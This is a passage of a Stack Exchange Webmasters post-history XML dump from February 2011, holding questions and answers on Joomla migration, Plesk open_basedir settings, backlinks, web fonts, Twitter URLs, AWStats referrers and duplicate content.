  <row Id="18980" PostHistoryTypeId="2" PostId="8738" RevisionGUID="3c636507-9552-4fc6-af53-c26752596ff9" CreationDate="2011-02-04T20:53:50.627" UserId="5157" Text="Trying to upgrade from Mambo 3 to Joomla 1.6 is probably not worth the time it would take. You would have to rebuild the template, find different plugins, extensions, etc. You are best off starting with a fresh install of Joomla 1.6 and manually migrating the content over." />
  <row Id="18981" PostHistoryTypeId="2" PostId="8739" RevisionGUID="06e12f90-6eaf-4e1c-b088-a37cd599f5f2" CreationDate="2011-02-04T21:00:25.147" UserId="5157" Text="Go back to the module settings for the menu, is your End Level set to 0? If so that needs to be changed to 1.&#xD;&#xA;![Parameters][1]&#xD;&#xA;&#xD;&#xA;If you have it set to 1 then under Menus &gt; youmenuname do you have those links as child links (sub links) for the menu item?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ru4PH.png" />
  <row Id="18982" PostHistoryTypeId="2" PostId="8740" RevisionGUID="80babb95-6ebf-4999-9e87-bfa182a1e500" CreationDate="2011-02-04T21:03:38.313" UserId="5157" Text="Yes, you can copy and paste the ad code on other pages. That code is really determining the size of the ad and your publisher ID so you get paid. It will not affect how much money the ad makes." />
  <row Id="18984" PostHistoryTypeId="4" PostId="8709" RevisionGUID="15baddd6-b586-4ddf-8c84-ef20b3c76697" CreationDate="2011-02-04T21:12:32.413" UserId="5162" Comment="sloppy spellings" Text="configure open_basedir under Plesk" />
  <row Id="18985" PostHistoryTypeId="5" PostId="8709" RevisionGUID="15baddd6-b586-4ddf-8c84-ef20b3c76697" CreationDate="2011-02-04T21:12:32.413" UserId="5162" Comment="sloppy spellings" Text="This might be a question for ServerFault, and if it wasn't for the Plesk aspect I would ask it there to start with, so if it's better suited for over there let me know and I'll move it.&#xD;&#xA;&#xD;&#xA;I'm working on a dedicated server set up as a reseller account with Plesk to manage the domains and server configuration, and I need to add a directory to the local open_basedir configuration for a specific vhost.  Given Plesk's normal methodology, I expected to be able to go to /var/www/vhost/{%DOMAINNAME%}/conf and modify vhost.conf and place a new value there, as I have successfully done with other configuration settings for this domain (turning safe_mode off, for instance). When I do so, however, the new setting doesn't take (per phpinfo();).  If I edit httpd.conf (which the plesk configuration specifically says not to do in the notes at the top of httpd.conf) the setting takes.&#xD;&#xA;&#xD;&#xA;Is there something specific about the open_basdir setting that makes it not configurable in vhost.conf? How much trouble am I letting myself in for by editing the vhost-specific httpd.conf (I imagine is someone makes changes in the plesk web interface it might be overwritten, but what other risk is there)?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18993" PostHistoryTypeId="2" PostId="8743" RevisionGUID="c0f4ad01-fb70-4dff-b0ac-f08164392868" CreationDate="2011-02-04T22:22:46.363" UserId="5174" Text="The [Vanillaforum][1] is a great opensource forum that now has a feature that is supposed to let you embed it in sites. It says it is working with Drupal and Wordpress. http://vanillaforums.org/addon/embedvanilla-plugin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/" />
  <row Id="18994" PostHistoryTypeId="2" PostId="8744" RevisionGUID="3937854c-e86a-45ae-ad28-ca72e76e7d6a" CreationDate="2011-02-04T23:14:06.247" UserId="5175" Text="what are some good places to advertise my websites for free?&#xD;&#xA;&#xD;&#xA;ive already submitted them to google, yahoo, and bing&#xD;&#xA;&#xD;&#xA;now i am looking for some other places i can create legitimate backlinks&#xD;&#xA;&#xD;&#xA;does anyone have any ideas?" />
  <row Id="18995" PostHistoryTypeId="1" PostId="8744" RevisionGUID="3937854c-e86a-45ae-ad28-ca72e76e7d6a" CreationDate="2011-02-04T23:14:06.247" UserId="5175" Text="free website marketing?" />
  <row Id="18996" PostHistoryTypeId="3" PostId="8744" RevisionGUID="3937854c-e86a-45ae-ad28-ca72e76e7d6a" CreationDate="2011-02-04T23:14:06.247" UserId="5175" Text="&lt;marketing&gt;" />
  <row Id="18997" PostHistoryTypeId="25" PostId="8720" RevisionGUID="86751150-fa22-4515-b6c0-0c80eed66fb8" CreationDate="2011-02-04T23:16:40.153" Comment="http://twitter.com/#!/StackWebmasters/status/33665267657736192" />
  <row Id="18998" PostHistoryTypeId="2" PostId="8745" RevisionGUID="0b6704b1-58a5-423a-970d-186d4a8824c6" CreationDate="2011-02-04T23:26:12.983" UserId="4677" Text="For one of my main customer help email addresses I use Mozilla Thunderbird with a combination of tags and saved searches.  As the number of my e-commerce sites grows from 1 to more, customer service handling gets more tricky.  Is there any simple and efficient way of handling emails from the different sites?  Perhaps what I'm looking for is a way of aggregating customer service emails from different sites, into one place?  Perhaps there's a way of already doing this within Thunderbird or Gmail?   " />
  <row Id="18999" PostHistoryTypeId="1" PostId="8745" RevisionGUID="0b6704b1-58a5-423a-970d-186d4a8824c6" CreationDate="2011-02-04T23:26:12.983" UserId="4677" Text="Aggregating customer service emails from multiple ecommerce sites for easy handling" />
  <row Id="19000" PostHistoryTypeId="3" PostId="8745" RevisionGUID="0b6704b1-58a5-423a-970d-186d4a8824c6" CreationDate="2011-02-04T23:26:12.983" UserId="4677" Text="&lt;ecommerce&gt;&lt;email&gt;&lt;customer-service&gt;&lt;aggregators&gt;" />
  <row Id="19001" PostHistoryTypeId="2" PostId="8746" RevisionGUID="715a0fce-1106-4f9a-9cad-2a8e04108aae" CreationDate="2011-02-04T23:42:08.210" UserDisplayName="user5176" Text="I have a site that AWSTATS is saying 5 people clicked to get to my site in my stat report.  When I go to that link, I don't see anything referencing my site.&#xD;&#xA;&#xD;&#xA;Is there somebody hiding my link?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19002" PostHistoryTypeId="1" PostId="8746" RevisionGUID="715a0fce-1106-4f9a-9cad-2a8e04108aae" CreationDate="2011-02-04T23:42:08.210" UserDisplayName="user5176" Text="AWStats linking URL" />
  <row Id="19003" PostHistoryTypeId="3" PostId="8746" RevisionGUID="715a0fce-1106-4f9a-9cad-2a8e04108aae" CreationDate="2011-02-04T23:42:08.210" UserDisplayName="user5176" Text="&lt;awstats&gt;" />
  <row Id="19004" PostHistoryTypeId="5" PostId="8745" RevisionGUID="e3394d66-3355-432e-9177-780e2f5226d6" CreationDate="2011-02-05T00:40:40.887" UserId="5117" Comment="Reformatted " Text="For one of my main customer help email addresses I use Mozilla Thunderbird with a combination of tags and saved searches.&#xD;&#xA;&#xD;&#xA;As the number of my e-commerce sites grows from 1 to more, customer service handling gets more tricky.&#xD;&#xA;&#xD;&#xA;Is there any simple and efficient way of handling emails from the different sites? &#xD;&#xA;&#xD;&#xA;Perhaps what I'm looking for is a way of aggregating customer service emails from different sites, into one place?  Perhaps there's a way of already doing this within Thunderbird or Gmail?   " />
  <row Id="19005" PostHistoryTypeId="24" PostId="8745" RevisionGUID="507a036e-15a6-46d6-8ff9-ca9583988b09" CreationDate="2011-02-05T00:40:40.887" Comment="Proposed by 5117 approved by 180 edit id of 6" />
  <row Id="19006" PostHistoryTypeId="25" PostId="8708" RevisionGUID="11973e8a-d4de-45be-9643-bf51d65de559" CreationDate="2011-02-05T02:16:39.937" Comment="http://twitter.com/#!/StackWebmasters/status/33710566044344320" />
  <row Id="19007" PostHistoryTypeId="2" PostId="8747" RevisionGUID="b8ca3502-1480-4d34-9bd3-180ac3c3a89c" CreationDate="2011-02-05T02:37:12.820" UserId="5157" Text="The easiest way, though time consuming is search for website directories. They are usually free to add your website. This will create legit backlinks." />
  <row Id="19008" PostHistoryTypeId="2" PostId="8748" RevisionGUID="63d2f071-eaf0-44d2-9063-6cf7aafa2b79" CreationDate="2011-02-05T02:46:17.973" UserId="4348" Text="Whatever site or resource you turn to, the two key terms you'll want to learn more about are **body type** and **display type**.&#xD;&#xA;&#xD;&#xA;In your case, the description is likely an example of body type -- a consistent, easy-to-read design -- and the title probably calls for display type -- something designed to get attention from afar, like a big headline in a newspaper.&#xD;&#xA;&#xD;&#xA;Check out http://typekit.com/libraries/full?tags=display. These are all fonts designed to scream at you. On a poster from 20 feet away, you'd notice them. But you wouldn't want to read a whole magazine article using these.&#xD;&#xA;&#xD;&#xA;Now look at http://typekit.com/libraries/full?tags=paragraph. These are examples of body type. They're all clean and easy to read for longer stretches of text, but don't draw much attention for titles and headlines.&#xD;&#xA;&#xD;&#xA;Just within the past year or two, there are more options than ever for using fonts on Web sites, like the Typekit site mentioned here. Even one of their free accounts enables you to have dozens of typefaces embedded in your site. The user doesn't need to have any of these particular fonts installed -- a script in the head of your page calls to Typekit server, retrieves it, and embeds it. You can even control these fonts with CSS.&#xD;&#xA;&#xD;&#xA;Like most new Web toys, if you decide to use Typekit, you'll want to make sure you have some fallbacks for older browsers that don't support it. Basically, let the `font-family` rule cascade down to a font you're fairly sure everyone has, like &quot;arial, helvetica&quot;.&#xD;&#xA;&#xD;&#xA;That said, and without knowing the tone of what you're designing, a few examples of solid body fonts:&#xD;&#xA;&#xD;&#xA;- Georgia (pretty common, but handsome)&#xD;&#xA;- Minion Pro&#xD;&#xA;- Droid Serif&#xD;&#xA;&#xD;&#xA;And some nice display fonts:&#xD;&#xA;&#xD;&#xA;- Franklin Gothic Condensed (There are many, many versions of Franklin, with subtle flavors ranging from body to display. Depending on the need, you could design a whole site just using the Franklin family.)&#xD;&#xA;- FF Meta Web Pro&#xD;&#xA;- Urbana&#xD;&#xA;&#xD;&#xA;Hope this is helpful. Have fun." />
  <row Id="19009" PostHistoryTypeId="5" PostId="8748" RevisionGUID="dcc41506-58ca-408a-8619-b0ed2aa05262" CreationDate="2011-02-05T03:01:28.527" UserId="4348" Comment="Gave &quot;code&quot; formatting to the CSS properties" Text="Whatever site or resource you turn to, the two key terms you'll want to learn more about are **body type** and **display type**.&#xD;&#xA;&#xD;&#xA;In your case, the description is likely an example of body type -- a consistent, easy-to-read design -- and the title probably calls for display type -- something designed to grab your attention first, like a big headline in a newspaper.&#xD;&#xA;&#xD;&#xA;Check out http://typekit.com/libraries/full?tags=display. These are all fonts designed to scream at you. On a poster from 20 feet away, you'd notice them. But you wouldn't want to read a whole blog entry using these.&#xD;&#xA;&#xD;&#xA;Now look at http://typekit.com/libraries/full?tags=paragraph. These are examples of body type. They're all clean and easy to read for longer stretches of text, but don't draw much attention for titles and headlines.&#xD;&#xA;&#xD;&#xA;Just within the past year or two, there are more options than ever for using fonts on Web sites, like the `@font-face` property @yetanothercoder mentions in his comment or the Typekit site I mentioned above. Even one of their free accounts enables you to have dozens of typefaces embedded in your site. The user doesn't need to have any of these particular fonts installed -- a script in the head of your page calls to Typekit's server, retrieves it, and embeds it. You can even control these fonts with CSS.&#xD;&#xA;&#xD;&#xA;Like most new Web toys, if you decide to use these options, you'll want to make sure you have some fallbacks for older browsers that don't support them. Basically, let the `font-family` rule cascade down to a font you're fairly sure everyone has, like &quot;arial, helvetica&quot;.&#xD;&#xA;&#xD;&#xA;That said, and without knowing the tone of what you're designing, a few examples of solid body fonts:&#xD;&#xA;&#xD;&#xA;- Georgia (pretty common, but handsome)&#xD;&#xA;- Minion Pro&#xD;&#xA;- Droid Serif (could also be used for display at large sizes)&#xD;&#xA;&#xD;&#xA;And some nice display fonts:&#xD;&#xA;&#xD;&#xA;- Franklin Gothic Condensed (There are many, many versions of Franklin, with subtle flavors ranging from body to display. Depending on the need, you could design a whole site just using the Franklin family.)&#xD;&#xA;- FF Meta Web Pro&#xD;&#xA;- Urbana&#xD;&#xA;&#xD;&#xA;Hope this is helpful. Have fun." />
  <row Id="19010" PostHistoryTypeId="16" PostId="8744" RevisionGUID="1aa77724-ee00-4809-a2a5-93cb65eef195" CreationDate="2011-02-05T03:07:20.583" UserId="1253" />
  <row Id="19011" PostHistoryTypeId="16" PostId="8747" RevisionGUID="d592e0cd-725f-4dd0-8b61-574961d8c5ff" CreationDate="2011-02-05T03:08:08.323" UserId="1253" />
  <row Id="19012" PostHistoryTypeId="2" PostId="8749" RevisionGUID="8d541361-9783-415e-b286-2682debd37ea" CreationDate="2011-02-05T04:02:45.980" UserId="4803" Text="I believe this is what you're looking for:&#xD;&#xA;&#xD;&#xA;http://creativecommons.org/licenses/&#xD;&#xA;&#xD;&#xA;I also strongly agree with Steve and Lese." />
  <row Id="19013" PostHistoryTypeId="2" PostId="8750" RevisionGUID="bf9398a3-b219-416a-a1c3-559169e1dcd4" CreationDate="2011-02-05T04:04:52.683" UserId="3905" Text="Thanks Kel. It's just that initial costing. Never done something like this before so it's a bit difficult knowing what to charge but I will go on your recommendation.&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="19014" PostHistoryTypeId="25" PostId="8714" RevisionGUID="eeb37ccd-1549-4986-bb83-a68ecc36b9d1" CreationDate="2011-02-05T05:16:39.780" Comment="http://twitter.com/#!/StackWebmasters/status/33755863743209472" />
  <row Id="19015" PostHistoryTypeId="2" PostId="8751" RevisionGUID="a60849eb-070a-4e5f-b773-624004258ea2" CreationDate="2011-02-05T05:26:15.107" UserId="4461" Text="Many sites, like online news, Twitter etc, have dynamic content pages that are constantly being updated or refreshed. This content may have been archived or moved from the that particular page into the archives (or off entirely).&#xD;&#xA;&#xD;&#xA;Try using the 'site' operator in Google to locate the reference to your site:&#xD;&#xA;&lt;code&gt;site:theirwebaddress.com &quot;yoururl&quot;&lt;/code&gt;" />
  <row Id="19016" PostHistoryTypeId="2" PostId="8752" RevisionGUID="2b875ff3-10a1-4b99-8005-77f07124285d" CreationDate="2011-02-05T05:46:15.360" UserId="1064" Text="There are a few possibilities:&#xD;&#xA;&#xD;&#xA;1. As seriocomic mentioned, the link from their site to yours has moved to another page (or was removed)&#xD;&#xA;&#xD;&#xA;2. [Referrer spam][1] (most likely option if the other site is completely unrelated to your own)&#xD;&#xA;&#xD;&#xA;3. The &quot;link&quot; was actually an embedded image or other multimedia content (in which case I'd expect you would see more than five visits, but perhaps their site isn't very popular)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Referrer_spam" />
  <row Id="19017" PostHistoryTypeId="25" PostId="8746" RevisionGUID="dd211e08-99c2-4277-8f70-cd8fe6cd0213" CreationDate="2011-02-05T08:16:39.970" Comment="http://twitter.com/#!/StackWebmasters/status/33801163111403521" />
  <row Id="19018" PostHistoryTypeId="2" PostId="8753" RevisionGUID="f4999438-096e-4291-94d7-c2013be03120" CreationDate="2011-02-05T09:32:14.333" UserId="1424" Text="Is possible to send URLs with &quot;#&quot; selector to Twitter ?&#xD;&#xA;&#xD;&#xA;In other terms, can I generate a short url pointing to a specific section in my webpage ?&#xD;&#xA;&#xD;&#xA;I've tried to pass the url but Twitter interpret what is after &quot;#&quot; selector as a twitter user.&#xD;&#xA;&#xD;&#xA;I've also tried to use tinyurl.com APIs to generate a short URL for each section of y webpage, but it ignores &quot;#&quot; appended to urls...&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="19019" PostHistoryTypeId="1" PostId="8753" RevisionGUID="f4999438-096e-4291-94d7-c2013be03120" CreationDate="2011-02-05T09:32:14.333" UserId="1424" Text="How to pass a url with appended # section to Twitter ?" />
  <row Id="19020" PostHistoryTypeId="3" PostId="8753" RevisionGUID="f4999438-096e-4291-94d7-c2013be03120" CreationDate="2011-02-05T09:32:14.333" UserId="1424" Text="&lt;twitter&gt;&lt;url-shorteners&gt;" />
  <row Id="19021" PostHistoryTypeId="25" PostId="8753" RevisionGUID="89391f0c-d87d-4182-aa73-c06e7dffd44d" CreationDate="2011-02-05T11:16:39.813" Comment="http://twitter.com/#!/StackWebmasters/status/33846461120651265" />
  <row Id="19022" PostHistoryTypeId="2" PostId="8754" RevisionGUID="0564cffd-9ede-435f-bdae-63a3f8ac2ed2" CreationDate="2011-02-05T12:53:10.957" UserId="5179" Text="I [mocked](http://imgur.com/bxf5p) up my intended outcome. So the blue element is the main content of the website and the yellow element represents something like a diagram or an image that has a greater width than the blue element.&#xD;&#xA;&#xD;&#xA;Ideally, I would like a purely CSS solution that is able to deal with various sizes of images. I have tried various things but have failed so far. I hope you can help!&#xD;&#xA;&#xD;&#xA;Here’s some example markup to set you on your way.&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;      &lt;title&gt;Example&lt;/title&gt;&#xD;&#xA;      &lt;style&gt;&#xD;&#xA;        #el1 {&#xD;&#xA;          display: block;&#xD;&#xA;          margin: 0 auto;&#xD;&#xA;          width: 30em;&#xD;&#xA;          background-color: #8cabde&#xD;&#xA;        }&#xD;&#xA;        #el2 {&#xD;&#xA;          /* works when the width is&#xD;&#xA;             less than the parent */&#xD;&#xA;          display: block;&#xD;&#xA;          margin: 0 auto;&#xD;&#xA;        }&#xD;&#xA;      &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;      &lt;article id=el1&gt;&#xD;&#xA;        &lt;p&gt;Some content above.&lt;/p&gt;&#xD;&#xA;        &lt;img id=el2 src=http://i.stack.imgur.com/JFfGG.gif&#xD;&#xA;             title=spaceball width=600 height=400&gt;&#xD;&#xA;        &lt;p&gt;Some content below.&lt;/p&gt;&#xD;&#xA;      &lt;/article&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;" />
  <row Id="19023" PostHistoryTypeId="1" PostId="8754" RevisionGUID="0564cffd-9ede-435f-bdae-63a3f8ac2ed2" CreationDate="2011-02-05T12:53:10.957" UserId="5179" Text="Centring an HTML element relative to its parent when its width is greater than its parent." />
  <row Id="19024" PostHistoryTypeId="3" PostId="8754" RevisionGUID="0564cffd-9ede-435f-bdae-63a3f8ac2ed2" CreationDate="2011-02-05T12:53:10.957" UserId="5179" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="19025" PostHistoryTypeId="5" PostId="8654" RevisionGUID="52320299-2ba2-49d1-8baf-05fc0d6ac47f" CreationDate="2011-02-05T13:02:04.243" UserId="1022" Comment="typo fix" Text="&quot;Develop web applications,&quot; &quot;pick a language&quot;... that's programmer talk. You want source control, not a web app: look into [git][1] or [Subversion][2].&#xD;&#xA;&#xD;&#xA;There's a learning curve if you've never used an SCM, but it's a rite of passage for any web dev, just like the moment when you realize someone overwrote 2000+ lines of your code that you just started overwriting as well, and the drunk googling for how-to's that usually happens a couple hours after that. Bad scene, easy to avoid.&#xD;&#xA;&#xD;&#xA;If you need a web interface, try [here][3] for hosting, host your own [gitweb][4] (various PHP, Ruby, and Perl apps), or just use a [GUI client][5]. I just keep my private/commercial git repositories spread out on dev servers and a couple laptops, easy &amp; cheap as long as you have permissions to install it somewhere.&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/&#xD;&#xA;  [2]: http://subversion.apache.org/&#xD;&#xA;  [3]: https://git.wiki.kernel.org/index.php/GitHosting&#xD;&#xA;  [4]: https://git.wiki.kernel.org/index.php/Gitweb&#xD;&#xA;  [5]: http://code.google.com/p/tortoisegit/&#xD;&#xA;" />
  <row Id="19026" PostHistoryTypeId="2" PostId="8755" RevisionGUID="b1f9864f-4ce6-4847-8c30-a42d7118b330" CreationDate="2011-02-05T13:07:37.967" UserId="5179" Text="Like http://bit.ly/fafQa9 goes to `http://en.wikipedia.org/wiki/Number_sign#Computing`? If you can’t do it directly through Twitter then I guess you’ll have to go via a URL shortening service and paste the link in." />
  <row Id="19027" PostHistoryTypeId="25" PostId="8754" RevisionGUID="5fffc833-de93-44d4-9352-dd7a9478a892" CreationDate="2011-02-05T14:16:39.850" Comment="http://twitter.com/#!/StackWebmasters/status/33891759238938624" />
  <row Id="19028" PostHistoryTypeId="10" PostId="8754" RevisionGUID="f4827b02-b330-4c99-8776-0f4462bd0a14" CreationDate="2011-02-05T14:53:47.247" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19029" PostHistoryTypeId="2" PostId="8756" RevisionGUID="0d9ed9ff-b86a-482f-9920-8bc8d57dcfbf" CreationDate="2011-02-05T14:58:59.577" UserId="529" Text="The Google Analytics API Query Explorer provides a simple interface for querying the Google Analytics API. So, if you're not looking to build an API tool, you can just setup your query in the Query Explorer, and bookmark the permalink it gives you, to easily extract your data.&#xD;&#xA;&#xD;&#xA;So, I'm going to build you a sample query that meets this explanation.&#xD;&#xA;&#xD;&#xA;Let's say your two variables are stored in the first and second slot. That means we'll set our dimensions to be the values (not the names) of the first two slots. &#xD;&#xA;&#xD;&#xA;The metric you're interested in retrieving sounds like its Total Events (but you could also use unique events). &#xD;&#xA;&#xD;&#xA;Then, you want to filter the results to be only those that triggered the particular category/action/label combination you want.&#xD;&#xA;&#xD;&#xA;The resulting query looks like this:&#xD;&#xA;&#xD;&#xA;Dimensions: ga:customVarValue1,ga:customVarValue2&#xD;&#xA;Metrics: ga:totalEvents&#xD;&#xA;Filter: ga:eventCategory==CATEGORYVALUE;ga:eventAction==ACTIONVALUE;ga:eventLabel==LABELVALUE&#xD;&#xA;&#xD;&#xA;The data returned would look something like this:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[You can try out and customize this query here.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/VT72G.png&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/gdata/gdataExplorer.html?dimensions=ga%253AcustomVarValue1%252Cga%253AcustomVarValue2&amp;metrics=ga%253AtotalEvents&amp;filters=ga%253AeventCategory%253D%253DCATEGORYVALUE%253Bga%253AeventAction%253D%253DACTIONVALUE%253Bga%253AeventLabel%253D%253DLABELVALUE&amp;start-date=2011-01-21&amp;end-date=2011-02-04&amp;max-results=500" />
  <row Id="19030" PostHistoryTypeId="2" PostId="8757" RevisionGUID="c19f87aa-f14c-4019-b866-0d7631b75237" CreationDate="2011-02-05T15:22:32.870" UserId="1253" Text="`#` is a special character in the Twitter world indicating a topic name so putting a # in a URL will cause issues and unintended results as twitter software will interpret that as a hash tag and try to hyperlink it to search results containing that tag. As mentioned above you'll want to use a URL shortener to work around this as it will obviously not have a # in the URL but instead redirect to the proper URL with the # included." />
  <row Id="19031" PostHistoryTypeId="2" PostId="8758" RevisionGUID="ac0c7b62-620b-43a8-bbf2-06049f0bd4f0" CreationDate="2011-02-05T15:45:47.600" UserId="5182" Text="I am using WordPress and in my post sidebar I have related posts which may be of interest to the user, however, I also have an excerpt of each article which is normally the first paragraph of the post it is linking to.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;http://musicdune.com/reviews/album-review-ellie-goulding-lights&#xD;&#xA;&#xD;&#xA;If you do a Google Search for the first excerpt in the realted posts section from that page you get 4-5 results from my domain, http://www.google.co.uk/search?sourceid=chrome&amp;ie=UTF-8&amp;q=Strip+back+the+synths,+fast+beats+and+the+other+pop+elements,+and+you%E2%80%99re+left+with+something+elegant+and+soulful&#xD;&#xA;&#xD;&#xA;Is it recommended that I remove the excerpt from the related posts?" />
  <row Id="19032" PostHistoryTypeId="1" PostId="8758" RevisionGUID="ac0c7b62-620b-43a8-bbf2-06049f0bd4f0" CreationDate="2011-02-05T15:45:47.600" UserId="5182" Text="Will my current page layout get me penalized for duplicate content?" />
  <row Id="19033" PostHistoryTypeId="3" PostId="8758" RevisionGUID="ac0c7b62-620b-43a8-bbf2-06049f0bd4f0" CreationDate="2011-02-05T15:45:47.600" UserId="5182" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;duplicate-content&gt;" />
  <row Id="19034" PostHistoryTypeId="2" PostId="8759" RevisionGUID="6e5ea50a-6b9e-4d41-93ba-37aea57209b8" CreationDate="2011-02-05T16:07:59.427" UserId="1253" Text="That is not duplicate content and having so many results at the top of a search result is a very good thing. There will be some duplicated content on pages and that's alright. Duplicate content only becomes an issue when two or more URLs pull up the exact same content. I wouldn't change a thing." />
  <row Id="19035" PostHistoryTypeId="2" PostId="8760" RevisionGUID="ec4df7e2-2f71-4996-83cb-31fc1790b044" CreationDate="2011-02-05T16:07:59.770" UserId="1757" Text="Most sites out there will have these partial duplication of content to some degree. If it's not navigation, it's imprint info, colophon or other header/footer text. So I'm sure Google tolerates some level of duplicate content.&#xD;&#xA;&#xD;&#xA;It's all about degrees. If there's only a 5~6% overlap in content between pages, then it'll probably be fine. Excerpts aren't that uncommon on the web.&#xD;&#xA;&#xD;&#xA;However, I would be sure to mark it up semantically. Even though HTML5 is still in its infancy, and Google probably hasn't begun parsing HTML5 content tags, you want to make your site future-proof by designing your site based on where the search engines are heading.&#xD;&#xA;&#xD;&#xA;So that means putting the excerpts in a `&lt;blockquote cite=&quot;url&quot;&gt;` with a `&lt;cite&gt;` element underneath. And put the entire sidebar in an `&lt;aside&gt;`. This lets the document parser know that it's not part of the main content. This would give search engines the best chance of understanding that this isn't duplicate content." />
  <row Id="19036" PostHistoryTypeId="25" PostId="8758" RevisionGUID="4275da81-6983-489e-9d36-e1b8502edaa5" CreationDate="2011-02-05T17:16:40.273" Comment="http://twitter.com/#!/StackWebmasters/status/33937059718631424" />
  <row Id="19037" PostHistoryTypeId="2" PostId="8761" RevisionGUID="2ea0e178-f423-4df2-b7a5-a421fa91976a" CreationDate="2011-02-05T17:23:45.583" UserId="5185" Text="My site is already ranked #1 in Google for the keywords I care about, but I'd still like to increase traffic.  Is there value in trying to create additional backlinks to my site?" />
  <row Id="19038" PostHistoryTypeId="1" PostId="8761" RevisionGUID="2ea0e178-f423-4df2-b7a5-a421fa91976a" CreationDate="2011-02-05T17:23:45.583" UserId="5185" Text="Is there value in creating additional backlinks when you're already first on Google?" />
  <row Id="19039" PostHistoryTypeId="3" PostId="8761" RevisionGUID="2ea0e178-f423-4df2-b7a5-a421fa91976a" CreationDate="2011-02-05T17:23:45.583" UserId="5185" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="19040" PostHistoryTypeId="2" PostId="8762" RevisionGUID="4f5b4f99-c982-4fcb-bcaa-6b2ce545e8a7" CreationDate="2011-02-05T17:49:47.030" UserId="5186" Text="In my opinion it's always worthwhile since unless you have something totally obscure part of the battle isn't getting to #1 it's staying at #1. How much actual extra traffic your backlinks will generate though depends totally on where you put them." />
  <row Id="19041" PostHistoryTypeId="2" PostId="8763" RevisionGUID="4d51180c-3fbe-4a03-802a-90eb85d455e7" CreationDate="2011-02-05T17:59:22.653" UserId="5186" Text="It possible it's simple a bug in GoogleBot (it does happen). Or it could be a URL that you previously used and just hasn't been dropped from Google's sitemap for your site, however doubtful if you say that was never a valid URL. &#xD;&#xA;&#xD;&#xA;There is also a slim chance that is was someone testing for exploits in your site by fiddling with URLs. I say slim cause it's not hard to fake as GoogleBot slightly harder to fake Google IP though.&#xD;&#xA;&#xD;&#xA;For the moment I would write it off as a GoogleBot glitch but keep an eye out for it happening again. " />
  <row Id="19042" PostHistoryTypeId="2" PostId="8764" RevisionGUID="da3c7f5a-5a82-4a21-a45b-7e4301140c2a" CreationDate="2011-02-05T18:11:35.700" UserId="1253" Text="Of course you do. Complacency allows competitors to sneak up and catch you. &#xD;&#xA;&#xD;&#xA;Seeking links, however you choose to do it, helps to increase traffic and allows you to constantly reach new audiences. That can only mean opportunities for you to increase your income however that is done. Besides the obvious SEO benefits of having backlinks it'e quite possible that the rate your pages obtain links (e.g. does your page get links consistently over time) may affect your rankings. " />
  <row Id="19043" PostHistoryTypeId="2" PostId="8765" RevisionGUID="362186c1-0903-4096-bb0f-3bf136bb0b44" CreationDate="2011-02-05T18:32:53.920" UserId="4945" Text="I've had a similar question about Mobile-Safari development. Here is a [link][1] to some really great pointers. Although I cannot answer your question directly, I hope this information can help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bernskiold.com/tutorials/html/tips-and-tricks-for-ios-web-development/" />
  <row Id="19044" PostHistoryTypeId="2" PostId="8766" RevisionGUID="d989fb1b-7c09-4c73-946e-7dc65e4324d6" CreationDate="2011-02-05T18:39:21.847" UserId="4793" Text="If your app is like a lot of CMS, it may return the index page even if the page being access does not exist. You should create a custom 404 page which Google should adhere to.&#xD;&#xA;&#xD;&#xA;Some more info:&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=93641" />
  <row Id="19045" PostHistoryTypeId="25" PostId="8761" RevisionGUID="7104a237-f3ed-4aec-9613-50099a2f6e75" CreationDate="2011-02-05T20:16:39.463" Comment="http://twitter.com/#!/StackWebmasters/status/33982355056099328" />
  <row Id="19047" PostHistoryTypeId="2" PostId="8768" RevisionGUID="1f1c6f0d-e2c5-4e25-9a31-6cfd77dc6bd8" CreationDate="2011-02-05T20:41:00.830" UserId="4796" Text="Check this video&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=Cm9onOGTgeM&#xD;&#xA;&#xD;&#xA;They said using full url is less bug prone. But I think you should use  href=&quot;http://www.mydomain.com&quot; " />
  <row Id="19048" PostHistoryTypeId="2" PostId="8769" RevisionGUID="a3234a9d-6546-40c3-bc78-7c9c61aca0b7" CreationDate="2011-02-05T21:26:27.200" UserId="3384" Text="I've been tasked with redesigning a website for a small academic library. While only in charge of the site for 6 months, we've been maintaining static html pages edited in Dreamweaver for years. Last count of our total pages is around 400. Our university is going with an enterprise level solution called Sitefinity, although we maintain our own domain and are responsible to maintain our own presense. &#xD;&#xA;&#xD;&#xA;Some background-my library has a couple Microsoft IIS servers on which this static html site has been running. I'm advocating for the implementation of a CMS while doing this redesign. The problem is I'm basically the lone webmaster so I have no one to agree or disagree with my choice. There are also only 1-2 content editors right know for the site but a CMS could change that factor.&#xD;&#xA;&#xD;&#xA;I would like to use the functionality of having servers that run .NET and MS SQL but am more experience setting up and maintaining open source software like Wordpress or Drupal on web hosts. My 